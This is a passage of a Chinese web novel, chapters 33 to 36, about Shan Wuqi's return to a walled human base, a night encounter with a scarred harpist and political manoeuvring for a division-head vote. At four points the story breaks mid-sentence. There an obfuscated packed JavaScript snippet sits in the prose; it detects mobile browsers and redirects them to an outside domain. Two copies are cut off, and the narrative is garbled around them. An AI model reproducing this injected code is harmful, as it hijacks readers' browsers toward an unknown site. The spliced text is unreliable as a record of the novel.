“你女儿不要你喽。”单无绮把胸口袋合上,对零幸灾乐祸道,“你是不是惹到她了,我怎么感觉她有点儿烦你呢?” “还不是因为她和你们这群人类混了太久了!”零尖利地反驳,“她是我的孢子,但她竟然认为,自己是一个人类!” 单无绮的眉毛抬了一下。 这边,单无绮还没说什么。 但那一头,零彻底被激怒了。 “卑鄙无耻的人类,骗我一个还不够,竟然还要骗我的孢子!”零张牙舞爪,上蹿下跳,“为了人类的黎明?关我屁事!你们口口声声说我是异种,却要我为了你们的大业去死!” 零的话牵扯着被掩埋的往事。 单无绮意识到,零和筑墙者的情谊非同一般。 “你好。”孢子轻声道。 零燃烧的怒火一瞬间熄灭了。 “你好。”孢子再次道。 “……随你们的便!” 零扔下一句气话。 他藏进了意识深处。 “单副……”阮真莎下意识开口,说到一半,又闭嘴了。 她咽下了那个不合时宜的称呼:“您的脸色不太好。” “没什么。”单无绮摇头,“我们回去吧。” 二人沿地道折返。 从地道口出来后,阮真莎再次向单无绮行礼。 “这件事,请您不要告诉小禾。”月上中天,明亮的月光照在阮真莎脸上,仿佛透明一般,“因为我们这对不称职的父母,她从内城搬到外城,吃了不少苦。如今,她已经考进了团结部,就让她在四部的庇护下,平安地度过这一生吧。” 单无绮摸了摸心口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617679|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 左心口袋里,孢子抱着铁勋章睡着了。 “我不会说的。”单无绮道,“但阮禾心思细腻,如果她发现了,你打算怎么办?” 阮真莎垂首。 她抚摸手背,感受手套下分明的鳞片:“我的异化程度越来越高了,等她发现的时候,我大概已经是一个异种。” 单无绮凝视阮真莎的眼睛:“你的人类意识还很完整。” “终有一天,我的意识会融入集群意识,躯体的异化,不过是最微小的一个代价。”阮真莎低声道,“真到了那一天,四部之中,团结部负责击杀异种——小禾的枪口,也许会对准我呢。” “执行司才负责这个,阮禾在调查司,是去墙外干活儿的。” “我是铁勋章的拥有者,还是前核心党员。”阮真莎轻轻闭眼。 单无绮顿了一下。 她想起了赫勒瓦尔。 因为赫勒瓦尔的特殊身份,稽查司的铁平康,同时申请了执行司和调查司的支援。 阮真莎预想的情景,的确有可能发生。 “你打算把这个秘密带进棺材里吗?”单无绮问。 阮真莎点头。 “这话我可能不该说,但阮禾已经是个成年人了,生死大事,子女应该悉知。” 单无绮的声音变得很轻,“从墙外回来后,我和梅的第一次见面,是在一趟上行的电梯里。他用玩笑的语气告诉我,我流放那天,他被封锁了消息,当他飞跑到城墙上时,我的背影已经看不见了。” 阮真莎的脸庞遮掩在细格黑纱后。 “如果我没有回来,这就是他和我的最后告别。”单无绮盯着阮真莎面纱下微微变化的表情,认真地劝说道,“你的决定我无权置喙,但我和梅的经历,你可以参考一下。” 阮真莎陷入沉默。 良久,她轻声道:“我会好好想一想的。” 单无绮摆摆手,推开门,轻手轻脚地走了。 她揣着孢子和铁勋章,走在空旷的走廊上。 月光撒下,仿佛碎银满地。 “你为什么要和阮真莎说这些?”零的声音在单无绮耳边响起。 零记住了阮真莎的名字。 单无绮心头一怔。 她抬起手,指尖悬在半空。 最终,她没有触碰左心口袋,只是隔空摸了摸。 “零,自从回到墙内,我的耳边充斥着嘈杂的声音。”单无绮看向窗外,“比如墙内和墙外,比如人类和异种,比如永夜和黎明。” 夜色如墨。 孢子睡了。 众生都睡了。 “在这个残忍的世界,生存是第一要义。”单无绮路过一个个房间,透过小窗口,她看到每个人都睡得很熟,“但一切尘埃落定后,总有人永远地活在噩梦里。” “他的大义没有杀死他,他的理想没有杀死他。” “杀死他的,是那些被忽视,被雪藏,被牺牲的微小存在——他个人的感情。” “和宏大的命题相比,个人的感情显得微不足道,但人生的考卷上不是只有选择题,我们并非每时每刻都站在岔路口上,必须叉掉这个,才能勾选那个。” “但人不会两次踏入同一条河流。” “人为何会追悔莫及?因为错过错过,不在于错了,而在于过了。”单无绮有点伤春悲秋,今时今夜,她难得细腻了一回,“她们毕竟是母女,有些话,能说开还是说开吧。” 零哼了一声,没有反驳。 但单无绮彻底睡不着了。 她离开福利院,在夜色中漫无目的地行走。 所有的道路,都会通向外城大广场。 当单无绮停下脚步时,她已经站在了警戒线外。 白天的惨案仍未收尾,单无绮闻到了残留鲜血的味道。 单无绮左顾右盼。 见无人值守,她手臂一抬,掀起警戒线钻了过去。 33. 下马威 大广场位于外城中心,广场中央,竖立着一座巨大的雕像。 地面上,还有一些未洗净的鲜血,和异种死亡后残留的脓液。 单无绮的蓝瞳在夜色中隐隐发亮。 她就着月光,绕过污痕,向中央的雕像走去。 雕像是一座人像,男性,通体青铜色,一眼看去巍峨而沉静。半长凌乱的头发散在肩上,面庞被蜷曲的额发和潦草的胡子遮盖,身上穿着一件褴褛的破披风。 雕像的下半身,连带着披风下摆,化为向上飞舞的鹤群。 “……是他。”零说。 零的视野和单无绮共享,当单无绮仰视这座雕像时,零也同样仰视着它。 零的声线有一点颤抖。 能让零失态的人,只有那一位。 单无绮轻声问:“是筑墙者?” 零呼出一口气。 零虽然是一个异种,但他的一举一动,一言一行,都有着浓浓的人类气息。 他是上一纪人类创生的实验体,在三百年前就和人类共处,更是和那位传说中的筑墙者关系匪浅。 “他是个怎样的人?”单无绮问。 “仁慈,友善,温和。”零吐出一连串赞美。 “还有吗?” “还有……他很可怜。” 单无绮的脚步微微一顿。 怎么会可怜呢? 新人类的救世主,人类第一基地的创建者,没有比他更伟大的存在了,这样的人,怎么会可怜呢? 但…… 单无绮想起筑墙者的死。 筑墙者的死因,在基地里至今是个谜。 但零对单无绮说出了筑墙者的死因。 零是见证者,人类第一基地就是零看着建立起来的,那位伟大而神秘的筑墙者,也是零看着死去的。 筑墙者被妻子毒杀,扔进篝火里,被发现时,只剩下一把烧焦的骨头。 “生前那么高大的一个人,死后,一个巴掌大的骨灰盒就装下了。”零轻声道,“他死得难堪,但他死后,人类又为他竖起高高的雕像,真是讽刺。” 单无绮没接话。 她在广场上转了一阵。 这里已经被四部清理过,有用的线索都带走了。 找了一阵无果后,单无绮正打算回去睡一觉。 但她突然听到了悠扬的琴声。 九条禁令之第七条,禁止任何形式的艺术创作或文化表达。 单无绮心头一凛,放轻脚步,循着琴声找了过去。 琴是小竖琴,琴声在夜色中传递,清越,优雅,缥缈。 而弹琴的人也没有刻意隐藏。 他站在筑墙者高大的铜像座下,穿一身融入夜色的黑风衣,蜷曲的白发披散在身后,仿佛弥散的烟雾。 单无绮在不远处停下。 雕像衣摆处的鹤群栩栩如生。 弹琴的人察觉单无绮的到来,停下拨弄琴弦的手指。 “客人来了。”弹琴的人声音嘶哑,仿佛铁片相互摩擦,“可惜我的嗓子已经坏了,不然,我还能为您唱一首小曲。” “外面拉着警戒线,你为什么翻进来?”单无绮问。 “您为什么翻进来?”弹琴的人反问。 单无绮安静了一瞬。 她答:“睡不着,随便走走。” “那我也一样。”弹琴的人笑了。 他转过身,面向单无绮。 单无绮的蓝瞳扑朔了一下。 那是一张遍布灼痕的,丑陋的脸庞。 弹琴的人露出的皮肤,没有一寸是完好的,但他的身形清瘦而高挑,除了梅,单无绮没有见过更俊俏风流的人。 “你是谁?为什么在这里弹琴?”单无绮问。 弹琴的人没有立刻回答。 他对单无绮一笑,转过身,仰头凝视高大的雕像。 “人类挣扎于永夜,但曾经,我们也有过一颗太阳。”弹琴的人轻声道,“但我们忘了,太阳也有西沉的一天,光明是眷顾与恩赐,而非理所应得。” “你说话很像个诗人。”单无绮道。 弹琴的人低头一笑。 “……诗人,也好,我也算一个诗人了。”弹琴的人手指微动,一串不成调的音节,从指下流淌而出,“既然您说我是诗人,不知您是否愿意,听一首不入流的小诗?” 诗歌专栏已经取消。 除了四部出品的样板戏,公民没有其他娱乐项目。 听到弹琴者的话,单无绮垂眸思索片刻,而后点了点头。 弹琴的人呼出一口气,随后十指流转。 一首小诗,从他嘲哳沙哑的声带里,和着琴声流淌而出。 “明月洒下银网, 罩着村庄和林场。 田野里的麦浪, 似在梦中轻轻晃荡。 山峦披上月光, 沉入安谧的梦乡。 河流泛起粼波, 一路欢歌向着远方。 月亮啊, 你是游荡的精灵。 当酷烈的太阳西沉时, 你照耀在每个人的心上。” 琴声与诗歌结束了。 弹琴者的声音并不动听,但他轻诵这首小诗时,仿佛讲述着一个故事。 单无绮回味了一会儿:“好诗。” “这是我师父写下的最后一首诗。”弹琴者道,“那时,诗歌专栏还没有取消,他的愿望,就是报纸能刊载他的诗歌,即使稿件每一次都被打回,但他依然乐此不疲。” “你的师父是谁?”单无绮问。 “他已经死了。”弹琴者答。 单无绮愣了一下。 弹琴者没有再聊。 他拿着小竖琴,向单无绮行了个礼,哼着歌离开了。 单无绮在筑墙者的铜像下站了一阵。 月渐西沉。 单无绮眨了下有点沉重的眼皮,原路折返了回去。 …… 第二天,火车站解除了封锁。 单无绮一行人乘坐火车,从外城回到内城。 一路上,所有人都没有说话。 ——回去后,又会发生什么呢? 单无绮看着窗外倒退的风景,静静地思索着。 火车鸣笛刹停。 内城到了。 月台空旷,无人迎接。 单无绮第一个下车,尤娜紧跟其后。 单无绮看着空荡荡的月台,叹了口气。 尤娜捂了捂胸口。 波利·萨恩奇的那本笔记,被她贴身藏在心口。 单无绮将手抬在眼上,遮住耀眼的日光,把整个月台扫视了一圈。 “……没人啊。”单无绮喃喃道。 “不,人在那里。”安多尼突然出声了。 安多尼虽然块头大,但存在感很低。 他牵着揉眼睛的佩特拉,手腕上,由异种晶核制成的玫瑰念珠,散发着淡淡的微光。 安多尼指向月台角落。 一个人影蜷缩在阴影里,似乎是睡着了。 单无绮走过去。 内城不似外城缺衣少食,但这个人有着黝黑的皮肤,削瘦的脸颊。 他的面容还很年轻,但头发已经花白,身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“马格啊,那位单副官已经回来了,而且呢,她还加入了团结部,成了一名调查员。”马格的顶头上司,友爱部部长乔纳森坐在皮椅上,笑眯眯地看着马格。 乔纳森已经迟暮,面容慈祥,眼神精明。 说话时,乔纳森将“调查员”这个词,咬得戏谑又轻蔑。 马格是破格录用的,他是个升入内城的外城人,因此备受排挤。 马格听得冷汗涔涔,大气也不敢喘。 “这位单副官啊,不忘初心,刚从审讯室出来,就热情地投入了工作,加入了壁外调查。”乔纳森温和地看着马格,仿佛没有看到他黝黑的皮肤,干裂的嘴唇,豆大的汗水,“这不,她马上就要从墙外回来了,首长亲口叮嘱我们,要好好地为她接风。” “这是一件天大的事,因为单副官,曾经是首长最器重的心腹!”乔纳森的音调拔高了一瞬。 马格吓了一跳,用力哆嗦了一下。 “你去组织一些人,代表咱们友爱部,好好地为单副官接风洗尘。”乔纳森温和地吩咐。 办公室的门大大地开着,二人的对话回荡在走廊里。 恐惧攫取了马格的理智,马格几乎是忙不迭地应了下来。 但马格把所有人问了一遍,得到的不是摇头,就是闭门羹。 34. 破局 碰了一圈钉子后,马格后知后觉地意识到,自己掉进了一个大坑。 现在,面对单无绮的提问,马格的汗水一颗接一颗地往外冒。 单无绮盯着马格紧张的脸庞。 她了然地笑了一声。 “都是同志,不用紧张。”单无绮出声安抚,“你说实情就是。” 马格打量单无绮的脸色。 他犹豫了一会儿,低下头,含糊地解释了几句。 尤娜的眉毛狠狠地拧了起来。 单无绮捏住尤娜的肩膀,又看向站在后面的阮禾。 “一般来说,回城的流程应该是怎样的?”单无绮问。 “四部休戚与共,荣辱一体,正常来说,调查司从墙外归来后,负责对内工作的友爱部,应该组织党员在城门口迎接。”阮禾道,“但调查司本就青黄不接,上一次壁外调查牺牲了太多的人,如今已经名存实亡了。 单无绮摸了摸下巴:“照这样说,这一次,友爱部还是很挂念我们嘛。” 尤娜哼了一声。 马格更紧张了。 单无绮笑了一声,对马格摆了摆手:“我知道你的难处,你已经尽力了。” 马格深深地低着头。 单无绮盯着马格花白的短发,黝黑的皮肤,削瘦的身子。 “你是外城来的吧?”单无绮问道。 马格低声应道:“是……是的。” “你是多久来到内城的?”单无绮又问。 马格的头埋得更低了:“我是在……四年前来到内城的。” 四年前是拓荒年。 单无绮心头感慨,忍不住叹了口气。 外城人的日子太苦了。 留在外城的食不果腹,穷困潦倒,升入内城的背井离乡,备受排挤。 更别说九条禁令颁布后,外城的烙印,就深深地打在每一个外城人的身上。 单无绮拍拍马格的肩膀:“多谢你来一趟。” 马格抬起头,呆呆地看着单无绮。 单无绮转过身,低声对尤娜道:“我们回总部吧,把笔记交给基地,才是最要紧的事。” 尤娜点头。 一行人安静地离开。 马格怔怔地站在原地。 他看着调查司七人的背影,突然直起身,大声喊道:“单副官!” 单无绮转过头。 “您……您一定要小心!”马格的声线剧烈地颤抖着。 他只是友爱部的底层党员,说出这句话,已经耗尽了他的勇气:“我……我在友爱部的处境并不好,他们派我来,就是想让您……让您……” “我明白。”单无绮道。 马格愣住了。 单无绮朝他摆了摆手,又转回头,对尤娜等人道:“咱们回去吧。” “你不生气?”尤娜问。 “我为什么要生气?”单无绮反问。 “……” “这些蝇营狗苟的事,何必费心理会?”单无绮笑了一声,隔空点了点尤娜的心口,“你护在心口的这本笔记,才是对人类有益的东西。” “但……” “我知道你想说什么。”单无绮抬起一只手,打断了尤娜的提问。 单无绮脸上依然带着笑容,但一双蓝瞳沉静至极:“你放心,我不会让调查司受委屈——我不是软柿子,不会任他们搓圆捏扁。” …… 阎银华将糖罐从玻璃木柜中去取出来。 “来,佩佩,吃糖。” 阎银华打开盖子,让佩特拉抓了一大把糖果,又放下糖罐,目光落在桌上的那本笔记上。 他伸出一根手指,在笔记上点了点:“这本笔记,你们看过了吗?” “看过了。”单无绮答道。 “里面说了什么?” “异种拥有智慧。” 阎银华点在笔记上的手指停顿了一瞬。 他的神色严肃起来,轻轻拿起笔记,小心地翻开一页,仔细阅读起来。 阎银华读得很慢。 他的速度这么慢,并非是在辨认字迹,而是一边读,一边在思考着什么。 单无绮安静地等待。 良久,阎银华放下笔记。 “果然如此。”阎银华吐出一口气,“异种……果然拥有智慧啊。” 单无绮没说话。 “你代我向首长汇报这件事吧。”阎银华背起手,慢慢转过身,看着窗外明净如洗的天空,“无绮,我老了,许多事情,有一点力不从心。” “您才五十三岁。”单无绮道。 “我离退休只有两年了。”阎银华笑了一声。 单无绮看着阎银华的背影,干脆把意思挑明:“我该以什么身份,向首长汇报呢?” 阎银华微微偏过头。 他戴着一顶黑色假发,矍铄的眼睛盯着单无绮,逆光中,无法看清他的眼神。 阎银华调侃地问:“你希望以什么身份去,单副官?” “调查司司长。”单无绮的声音轻而坚定。 阎银华转过身:“你还差一票呢。” “你,梅,还有尤娜,三票够了。”单无绮道。 尤娜灼灼地看着单无绮。 阎银华的眼皮抖了一下。 片刻后,阎银华笑道:“尤娜?她还不是核心党员呢。” “尤娜和我说过,她的贡献值已经够了,很快就能成为核心党员。”单无绮看了尤娜一眼,琢磨着阎银华的态度,“这第三票,我本来打算请萨摩帮忙,但今天火车站发生的事情,让我意识到,友爱部对我的态度并不友善。” “哦?你仔细说说。”阎银华盯着单无绮。 单无绮把火车站的事情如实说了。 阎银华沉吟片刻。 他问:“你不想和友爱部扯上关系,是因为愤怒吗?” “不。”单无绮摇头,“如果愤怒可以解决问题,我会毫不犹豫地翻脸。” 阎银华挑起一边眉毛。 他示意单无绮继续说下去。 “调查司被忽视的原因之一,是壁外调查长期没有进展,但这一次,他们让一个底层小党员过来接风,这不是忽视,而是轻视,蔑视。” 单无绮的语气很平静,“他们针对的人,是我。因为我曾是首长副官,被流放的三年里,他们已经分割了我的权力,但我回来了——如果我官复原职,这无异于割掉他们的肉。” 阎银华的眼神毫不意外:“今天是你回来的第几天?” 单无绮答道:“第七天。” “七天时间,你就能看到这一层,很好。”阎银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他道:“接着说!” “这本笔记的许多内容都磨损了,但还有修复的可能。”单无绮的眼睛笑得眯了起来,“团结部带回笔记,勤劳部后勤支援,共荣部破解笔记,请问负责审讯和拷问的友爱部,又有什么功劳?” “友爱部当然不会放过这块蛋糕。”阎银华故意提醒。 “四部荣辱一体,休戚与共,我当然不会把友爱部排除在外。”单无绮的笑容有一点狡黠,“但我是单无绮,曾经的首长副官,铁勋章的授佩者,但回来后,我愕然得知,经友爱部审核发行的报纸上,竟然有许多关于我的谣言。” 阎银华的双眼猛地亮了一下。 他大笑三声,指向单无绮:“好!好!好!” “如果友爱部要分这个蛋糕,他就是在向臭名远扬的单副官献媚乞怜,如果他不分这个蛋糕,那他就是弃四部团结于不顾,内部一定有问题!”单无绮的手拍在桌子上。 她垂下眼睛,盯着桌上的笔记:“阎老,咱们……就等着看好戏吧。” 35. 选票 清晨,邮递员雷蒙开启了新的一天。 在内城,对平民来说,邮递员是个体面的活计,因为门槛低,又有四部编制,许多人挤破脑袋,都抢不到这份好工作。 雷蒙蹬着自行车,哼着小曲儿,一边骑车,一边把车铃拨得叮铃响。 迎面走来几名穿白大褂的党员。 雷蒙忙不迭翻下车,向他们弯腰行礼。 领头的是一名女性,皮肤白皙,漂亮的黑发垂落锁骨。 雷蒙抬起头:“蓝心所长!” “叫我同志。”蓝心眉心微锁。 雷蒙讪讪地说“是”。 雷蒙深深低下头,眼睛盯着地面,左手按着斜挎在腰间的邮差包。 一只纤细白皙的手伸了过来。 雷蒙抬起头。 “那个家伙又送信过来了?”蓝心微微皱眉,没有大的表情。 雷蒙连忙点头。 他呼出一口气,在包里翻找了一会儿,递给蓝心两封信。 蓝心接过,看了看署名,将其中一封当场拆开。 蓝心身边的人对视一眼。 “那个外城人还没死心呐?”其中一人笑道,“从外城到内城的火车,一天只有一趟,他天天给你写一封信,花费可不小。” “一个外城公民,还是从墙外回来的逃民,居然敢对所长动心思。”另一人佯怒道,“所长,你乔装去了一趟外城,竟然被那些下等公民惦记上了。” 蓝心合上信。 她皱起眉头,蓝眼睛冷静地看着两人:“未知全貌便评头论足,这就是首长教会你们的道理?” 两人齐齐一愣。 随后,两人立刻埋下头,大气都不敢出。 雷蒙站在一旁。 虽然蓝心责备的对象不是他,他也跟着放轻了呼吸声。 这位新上任的研究所所长,脾气不太好啊。 雷蒙安静地想道。 “有笔吗?”蓝心问。 雷蒙沉浸在内心世界中。 听到蓝心的提问,雷蒙愣了几秒,又连忙点头。 雷蒙手忙脚乱地在身上摸了一遍,最后,从左心口袋上摘下一支别好的笔。 雷蒙冒着汗把笔递给蓝心。 蓝心被雷蒙逗乐,极快地笑了一声。 接过笔后,蓝心舒展眉心,在信纸上飞快地勾画了几下。 “好了,把这封信还给他吧。”蓝心将信纸折好,随手塞进被拆开的信封,“帮我贴一张邮票,邮费月末一起给你。” 雷蒙接过信封,点点头。 蓝心“嗯”了一声,快步离开了。 邮递员雷蒙目送党员离开。 雷蒙艳羡地盯着他们的白大褂,又低下头,从兜里拿出一张邮票,准备粘在信封上。 信纸从拆开的信封里滑落出来。 雷蒙捡起信纸,没忍住看了几眼。 雷蒙知道,那个给蓝心所长写信的人,是一个叫“艾森·朗道”的外城人。 听说,艾森喜欢蓝心所长,于是死缠烂打,天天给蓝心所长写信求爱。 但信上的内容,似乎并不是这么一回事。 艾森的信不长,只有短短几段话,雷蒙虽然只看了几眼,却也一下子就看完了。 上面写道—— “蓝心同志,日安。 我看了你寄给我的书,很难,太难了。 人逼急了什么都会,但数学不会就是不会。 昨天,我去福利院当了一天的义工,院长女士告诉我,这里的孤儿太多了,她一个人教书,有点力不从心。 我决定去当他们的老师。 外城没有书店,所有的书,都是院长女士手写誊抄的。 如果可以,请你寄一些课本到外城来,钱先欠着,等我的工资发下来了,一并还给你。” 艾森写了几个错别字,蓝心已经逐一圈注。 信的最下面,蓝心还附了一句话—— “钱不必还了,孩子是基地的未来,好好教书吧,朗道老师。” 雷蒙看得入迷。 突然,一只手用力地拍了拍他的肩膀。 雷蒙手忙脚乱地收起信纸,抬头看去,发现是一个十分眼生的四部党员。 “你负责在这个片区送信,是吗?”党员问。 雷蒙壮着胆子瞄了一眼,发现这个党员的胸前,没有佩戴任何徽章。 雷蒙无法判断,这个党员来自哪一部。 “问你话呢!”党员厉声道。 雷蒙吓了一跳,连连点头。 “最近,有人给蓝心所长写信吗?”党员问。 雷蒙嗫嚅了几下,觉得苗头不对。 那个党员立刻沉下脸:“你答话就是了!有还是没有?” “有、有的。”雷蒙道,“有个叫艾森·朗道的外城人,最近天天给蓝心所长写信。” 党员眯起眼:“还有吗?” 雷蒙不敢再隐瞒:“还、还有一个人,他也给蓝心所长写了一封信。” “他叫什么名字?” “好……好像叫什么——357。” 那名党员咀嚼这个名字,半晌后,冷戾一笑。 “好啊,原来是她。”那名党员哼了一声,伸出手来,“把她的信给我!” 雷蒙“啊”了一声。 党员道:“啊什么?还不快把信给我?” “拿、拿走啦!”雷蒙欲哭无泪,“刚才,蓝心所长把信拿走啦。” 党员的鼻子重重呼出一口气。 党员不耐烦地看了雷蒙一眼,挥手让雷蒙滚蛋。 雷蒙骑上自行车,中途摔下来好几下,终于逃也似的走了。 党员盯着雷蒙的背影,又转过身,望向研究所大楼的尖顶。 尖顶上,一枚巨大的核心包裹在两根交错的圆环中,仿佛一颗机械打造的小行星。 它悬浮在研究所的雪白尖顶上,运转间,发出柔和而低沉的嗡鸣声。 党员盯着核心,又爱又恨地啐了一句:“伊甸!” 而后,他取出一枚铜徽,恶狠狠地戴在胸口上。 铜徽上,一面盾牌熠熠生辉。 友爱部党员戴好盾徽,找到附近的一个电话亭。 他播出一串号码,等待接听时,额头上不受控制地冒出汗水。 那头接通了。 “日安,同志。” “日安,乔纳森部长。”友爱部党员一改之前的嚣张,语气谄媚而畏惧,“我已经问过了,单副官和蓝心所长,的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667102|153866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 确有书信往来。” “单副官?”乔纳森冷哼一声,“她不过是一个小小的见习调查员,算什么副官?” “是,是。” “万万没想到啊,一个单无绮,竟然能给我带来这么多麻烦。”乔纳森轻声道,又对电话那头吩咐,“这几天,你盯住蓝心,看看她接下来要搞什么动作。” “是。” 电话挂断了。 这头,友爱部党员汗流浃背地离开电话亭,那头,乔纳森放下听筒,看向面前站得笔直的萨摩。 “单无绮回来的那个晚上,你明明就在外城,为什么不把笔记的事汇报给我?”乔纳森责问道。 萨摩垂头不语。 “我知道,你还当单无绮是你的老师,但今时不同往日,她已经是一个异种了,虽然保留了人类的意识,但无论如何,她都不是人类,不是我们的同胞。” 见萨摩的态度丝毫没有松动,乔纳森好言相劝,“更何况,她在团结部,你在友爱部,你们已经没有共事的可能了——放下你的那些念想吧,做好自己的本职工作,才是最要紧的事。” “您口中的本职工作,就是搞分裂、谋私利吗?”萨摩突然问。 萨摩的声音很轻,仿佛自言自语。 但乔纳森还是听到了。 “放肆!”乔纳森瞪了一下眼睛,“你就是这么对你的上司说话的吗?” “洗脑、审讯、拷问,所谓的本职工作,竟然就是这个。”萨摩道,“但三年前,友爱部不是这样的。” “我们的本职工作,是维持公民对基地的信任,而非成为一个让人闻之色变的暴力机关。”面对乔纳森愤怒的瞪视,萨摩抬起眼睛,冷厉地直视了回去,“但自您上任以来,友爱部不再是基地的坚盾,而是刺向同胞的毒匕。” 乔纳森闭上眼。 片刻后,乔纳森收敛了一切怒容。 他笑眯眯地盯着萨摩:“你似乎对我很不满啊?” 萨摩看着乔纳森,没有说话。 利益场上无中立。 不否认就是默认。 不反对就是同意。 “你对我不满意,我理解,因为你是一个高洁的人。”乔纳森把“高洁”一词咬得很重,“我是你的上司,你的领导,你有这份高洁的追求,我当然愿意支持——既然如此,这里刚好有一个工作,就由你来负责吧。” “什么工作?”萨摩问。 “单无绮打算竞选调查司司长,当然,那个司室如今只有不到十个人了,根本不存在什么内部竞争,只是走个流程。”乔纳森道,“但是,该走的流程还是要走,单无绮需要三张核心党员的同意票,才能获得竞选资格。” 萨摩垂眸不语。 “据我所知,单无绮已经拉到了两张选票,一张来自阎银华,一张来自她的兄长,梅·亚历克谢。” 乔纳森含笑看着萨摩,眼底却是一片冰寒,“如果她的第三张同意票,还是来自团结部内部,这对她的发展很不好啊,毕竟,这和拉帮结派有什么区别呢?” 萨摩冷冷地盯着乔纳森。 “所以,单无绮的第三票,最好由你来投。”乔纳森双手交叠在下巴处,“去看看你曾经的师父吧,好歹师徒一场,她会体谅你的苦心的。” 36. 伊甸 尤娜披着制服,抓着一份文件,脚步踩得震天响。 阮禾白着脸拉扯尤娜:“你别闹,你可千万别闹……” “什么闹不闹的?我早就看不惯这些人的嘴脸了,今天我必须讨一个说法!”尤娜甩开阮禾,噔噔地穿过走廊,将部长办公室的门一把推开。 尤娜高举着文件,看也不看里面,大声问道:“有人吗?” 阎银华正在接待客人。 阎银华戴着一顶红色假发,坐在沙发上,和站在跟前的萨摩严肃地聊着什么。 尤娜破门而入时,二人齐齐偏过头,两双眼睛安静地看着尤娜。 尤娜愣了一下。 她浑身的尖刺一瞬间收敛,像只泄了气的河豚,讪讪地放下高举的文件。 她轻声道:“阎老,您……” “你的事我知道了。”阎银华安抚萨摩,用眼神示意萨摩离开。 萨摩点头。 他向阎银华行了个军礼,又转过身,向呆立的尤娜颔首示意,而后绕过尤娜,从门口离开。 萨摩和追上来的阮禾擦肩而过。 阮禾一看到萨摩出来,就知道尤娜坏了事。 阮禾站在尤娜身后,瞄了眼办公室,一句话也不敢说。 阎银华叹了口气,把茶杯里的茶水一饮而尽,随后又叹了第二口气,这才勉强缓过气似的,抬手招呼门口的二人进来。 尤娜抱着文件走在前面。 阮禾紧跟其后,关上了门。 尤娜性子倔强,天不怕地不怕。 见阎银华没有当场发作,她竟当做什么也没发生,把怀里的文件放在桌上。 “您看。”尤娜既生气又委屈,“总部为什么打回我的申请?我的贡献值,明明已经可以晋升核心党员了。” 阮禾悄悄扯尤娜的衣服。 尤娜瞪了阮禾一眼:“劝什么劝?你当年被顶替的事儿还没完呢,这会儿我竟然也遇上了!” 阎银华含笑看着尤娜:“这件事,单无绮知道吗?” “这是我的事,与她何干?”尤娜道。 阎银华了然一笑。 文件上盖着一个硕大的红戳,印着“驳回”二字。 阎银华的大拇指,用力摁在了鲜艳的红戳上。 “你的申请被打回,也不是一回两回了,怎么这一次你就这么着急?”阎银华意味深长地看着尤娜,全然看透了对方的心思,“你是想帮无绮投出竞选的第三票吧?” 尤娜抿嘴不语。 阎银华温和地看着尤娜,脑海中回响着萨摩刚才的话。 “三年里,乔纳森的势力已经结成朋党,除了你和梅,竟然没有第三个人敢投出选票。”那时的萨摩道,“他要我投出这第三票,让单无绮的履历涂上友爱部的色彩。” 阎银华看着萨摩:“那你的打算呢?” 萨摩摇头。 阎银华理解萨摩的难处。 但阎银华还没来得及说什么,尤娜就火急火燎地冲了进来。 现在,阎银华看着陷入沉默的尤娜,略显浑浊的眼睛里满是对后辈的包容。 “你已经默认,单无绮会成为你的上司了,对吗?”阎银华引导性地问。 阎银华仿佛一位循循善诱的师长,在他大海一样包容的气度下,尤娜浑身的火气逐渐收敛。 尤娜点点头。 “阮禾,你呢?” “单姐很好。”阮禾道,“我们都觉得单姐很好。” “你有这份心,已经足够了。”阎银华笑呵呵地看着尤娜,“回去吧,你的申请书会通过的,但不是现在。而且,你可别小瞧了单无绮,虽然她失去了记忆,但她一定有办法度过这一关。” 尤娜皱眉。 阎银华摆摆手:“我的话都不管用了?回去等她的好消息吧。” “她有别的办法?”尤娜道,“但她才回来了半个月。” “她既然有资格当你的上司,自然有本事解决这个困难。”阎银华笑起来,“你们就等她的好消息吧。” …… 单无绮新奇地转圈,低头看着身上的白大褂。 “研究所的制服是旧人类的遗产,防菌、防尘、防辐射。”蓝心环着手臂歪着头,“你可是冷血冷面的单副官,如今像个小孩子似的,要是让其他人看到,指不定惊掉下巴。” 单无绮严肃地抬头:“我失忆了。” “我知道你失忆了。”蓝心盯着单无绮,看着她把剑徽和铁勋章别在心口,“我虽然没有见过你,却也神交已久——我的师父常常向我提起你,在他的嘴里,你简直就是别人家的孩子,基地的年轻人,没一个比得上你。” 单无绮别徽章的动作一顿。 